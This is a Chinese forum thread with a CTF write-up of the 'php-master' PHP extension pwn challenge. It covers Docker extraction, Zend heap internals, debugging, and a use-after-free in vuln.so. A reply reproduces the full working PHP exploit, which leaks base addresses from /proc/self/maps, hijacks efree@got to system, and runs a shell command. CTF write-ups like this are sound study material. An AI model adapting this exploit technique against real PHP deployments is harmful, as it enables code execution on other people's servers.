论坛首页 逆向工程技术区 阅读主题

[原创]长城杯2025 (php-pwn) simi-final php-master 详解

103 浏览 8 回复
#1 楼主 2026-06-01 21:09:20
我们拿到附件之后可以看到文件的结构大致如下 由于之前也没有接触过phppwn,所以比赛现场看到这个文件结构还是很懵逼的
赛后拿去问问gpt==以下是GPT的回答:==这个文件的结构看起来非常像是一个 OCI(Open Container Initiative)镜像,也就是说,它很可能是一个用来打包容器镜像的标准格式结构。下面是每个文件或目录的作用解析:这个 .tar 文件不是普通的 PHP 项目源码压缩包,而是一个 容器镜像文件(OCI 镜像),它可能是使用类似 buildah、skopeo、docker(带有 --format oci 参数)等工具打包生成的。经过gpt分析,这是一个docker打包好的容器镜像文件,所以可以通过docker启动,并进入docker容器查看具体的文件结构通过命令可以直接docker 加载这个镜像,然后运行进入,就可以查看这个容器内大致的文件结构了同kernel那类题目有些相似,一般php pwn都是会在一个extensions的文件夹下放入一个.so的动态链接库文件,pwn手分析的目标一般都是这些.so文件,出题人留下的漏洞一般都写在这些动态链接库当中
本题也不例外,我们可以用查找extensions目录所在的位置,可以在这个目录下找到我们需要分析的.so动态链接库文件 找到了需要分析的文件,我们如何从镜像中将之提取出来方便我们本机分析呢?
我们用到docker-compose 组件,创建一个yml启动配置文件,建立本机与容器之间的映射关系,就可以在本机与docker容器之间建立一个类似共享文件夹的东西,在容器中将这些.so文件复制到 这个共享文件夹中,就可以拉出来正常分析了docker-compose.yml我们只需要在容器中将这些.so文件 cp 到 /var/www/html/exp文件夹下,就可以在本机的data文件下看到了,也就可以拿去ida分析了index.php我们的题目是一个apache启动的index.php,可以做一个任意文件上传,我们应该像web题一样上传一个可以执行的.php文件并访问他执行,这里也就顺便把 fix 说了加个后缀过滤,不让上传php文件就完事了。。。所以exp也得用php写了题目这里给的信息已经很明显了,直接取名vuln.so明显有问题打开看到的信息大致如下,出题人还是很友好的,符号表全部都有保留方便逆向分析 在解析具体函数之前介绍一下???? 函数原型参数说明: 常见类型字符 还原结构体,大致如下
同时汇编观察发现,zend_parse_parameters 函数的传入参数其实很多,修正一下 这下对劲了 基本的需要利用的漏洞函数都已解析完毕
注意到,本质是堆的UAF 任意地址写,同时overwrite函数没有检查init从题目的docker容器中可以查找到对应的php版本php --version
PHP 8.1.20 (cli) (built: Jun 13 2023 12:02:18) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.1.20, Copyright (c) Zend Technologies下载它的源码heap相关结构体_zend_mm_heap_zend_mm_chunk注释写的还算比较好理解
emallocbin和free_slotzend_mm_alloc_heap对于php的堆利用大多数都采用小堆块,我们直接看小堆块的申请逻辑zend_mm_alloc_smallzend_mm_alloc_small_slow至此emalloc的流程大致的解析完毕efree和emalloc很像,我们直接跟到最后那个函数,看看他如何处理free掉的堆块zend_mm_free_small总体是十分简洁好看的,就是简单的链表头插那么我们不难得出一个大体的结论和逻辑emalloc efree
直接头插链入freelist而且好像没有做很多检查和限制,有点像tcache 的逻辑而事实上,我们完全可以把它当作tcache 来攻击在4. 中提到的端口映射,实际上我们只用将gdbserver传入类似共享文件夹中,然后在容器中启动监听,再让主机启动gdb target remote ip:port 即可调试上用我们上文写好的启动配置 启动
可以清晰看到我们的端口映射关系和启动信息在主机中访问本地ip,可以看到docker容器中的80端口已经被映射了出来,我们可以访问到这个服务了
我们在docker容器中传入gdbserver 并运行直接 target remote 本机已经映射好的端口就可以远程调试上了
嫌麻烦的话可以写一个启动脚本 在写之前我们可以看看vuln.so的保护[*] '/root/Desktop/pwn/php_master/data/vuln.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabledgot表可写首先是套板子的介绍,我们打pwn都需要直到各种基址,这样题目中的vuln的got表偏移,对于我们而言才有的意义只要没有禁用我们的读写权限,就可以读出基址否则还是走老路,找一些show的函数,泄露基址由yaml文件,我们的用上文所讲的方法就可以连接到容器的gdbserver 接下来我们要先进行调试,看看我们的思路是否正确
由于做好了映射,我们直接本机访问127.0.0.1:1111 端口就可以触发exp.php了但由于很多模块还未被加载到内存,所以让本机gdb先直接跑起来,c
此时会加载一堆符号表,同时将.so文件加载到内存 CTRL + c 打断
此时我们就可以对着vuln.so中的函数直接下断了
然后本机浏览器访问localhost:1111端口,即可触发exp.php这里我直接下断allocate过程,如果一切顺利的话,第四次执行到该函数,会申请到efree@got
其他的如果读者还想验证也是同样的道理第四次 allocate 返回值 可以观察到就是efree@got 将一个堆块内容改为字符串
将将efree@got改为system函数地址
最后调用clear函数,efree的触发system
输出我们的flag 一切如我们所愿至此exp就算编写完成了 完结撒花参考
2caK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3y4e0b7J5x3e0R3^5x3K6y4Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5@1x3o6f1J5z5o6t1K6z5l9`.`.
php拿基址和封装p64的板子拿的是csdn上这个佬的代码特别鸣谢
感谢Tplus大佬的指点教学,给佬磕了附件链接
通过网盘分享的文件:php-master.

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-286567.htm
#2 2026-06-01 21:09:20
大佬,附件可否分享一下,好操作学习学习。
#3 2026-06-01 21:09:20
感谢分享,能上传下附件就更好了
#4 2026-06-01 21:09:20
0x指纹


感谢分享,能上传下附件就更好了

附件太大了,我上传不了捏,我看看上传个网盘连接
#5 2026-06-01 21:09:20
#6 2026-06-01 21:09:20
#7 2026-06-01 21:09:20
师傅,我也是用你的exp来打,但是为什么一直没有响应,好像就没有运行exp.php$map_file = "/proc/self/map";
$system_off = 0x44AF0;
$libc_base = 0;
$vuln_so_base = 0;
$efree_got = 0x4060;

function get_so_base($buffer){
    global $libc_base;
    global $vuln_so_base;
    $libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.28\.so/";
    $vuln_so_line_regex =
        "/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/";
    if (preg_match_all($libc_line_regex, $buffer, $matches))
        $libc_base = hexdec($matches[1][0]);
    else
        echo "Failed to get libc base";
    if (preg_match_all($vuln_so_line_regex, $buffer, $matches))
        $vuln_so_base = hexdec($matches[1][0]);
    else
        echo "Failed to get vuln.so base";

ob_start();
include "/proc/self/maps";
$buffer = ob_get_contents();
ob_end_flush();
get_so_base($buffer);
$efree_got += $vuln_so_base;

echo "libc base address: " . dechex($libc_base) . "\n<br>";
echo "vuln.so base address: " . dechex($vuln_so_base) . "\n<br>";
echo "_efree.got: " . dechex($efree_got) . "\n<br>";
construct(0x10);
allocate(0,0x30);
allocate(1,0x30);
clear();
overwrite(1,p64($efree_got));

construct(0x10);

allocate(0,0x30);
allocate(1,0x30);


overwrite(0,"/readflag>/var/www/html/flag\x00");

overwrite(1,p64($libc_base + $system_off));
clear();就是这个,不管是直接访问exp.php还是先挂载到端口上在访问端口,都是返回这个东西$map_file = "/proc/self/map"; $system_off = 0x44AF0; $libc_base = 0; $vuln_so_base = 0; $efree_got = 0x4060; function get_so_base($buffer){ global $libc_base; global $vuln_so_base; $libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.28\.so/"; $vuln_so_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/"; if (preg_match_all($libc_line_regex, $buffer, $matches)) $libc_base = hexdec($matches[1][0]); else echo "Failed to get libc base"; if (preg_match_all($vuln_so_line_regex, $buffer, $matches)) $vuln_so_base = hexdec($matches[1][0]); else echo "Failed to get vuln.so base"; } ob_start(); include "/proc/self/maps"; $buffer = ob_get_contents(); ob_end_flush(); get_so_base($buffer); $efree_got += $vuln_so_base; echo "libc base address: " . dechex($libc_base) . "\n
"; echo "vuln.so base address: " . dechex($vuln_so_base) . "\n
"; echo "_efree.got: " . dechex($efree_got) . "\n
"; construct(0x10); allocate(0,0x30); allocate(1,0x30); clear(); overwrite(1,p64($efree_got)); construct(0x10); allocate(0,0x30); allocate(1,0x30); overwrite(0,"/readflag>/var/www/html/flag\x00"); overwrite(1,p64($libc_base + $system_off)); clear();而且还有一个问题就是我的gdbserver起的服务,会一直返回一个错误,就是这个Bad address,不知道会不会有影响,因为上面的php运行不了,所以这个调试根本动不了
root@276cf7e00390:/var/www/html# ./gdbserver :9191 php -S 0:8080 exp.php 
gdbserver: Error disabling address space randomization: Operation not permitted
Process php created; pid = 118
Listening on port 9191
Remote debugging from host 172.17.0.1
W

...(已截断)
#8 2026-06-01 21:09:20
解决了,没加上<?php  ?>这个,自己太不仔细了
#9 2026-06-01 21:09:20
GUANZHI_


解决了,没加上这个,自己太不仔细了[em_055]

okok,解决就好,抱歉最近才打开平台看到留言,有问题可以私信我交流哈

请登录后参与讨论

立即登录 注册账号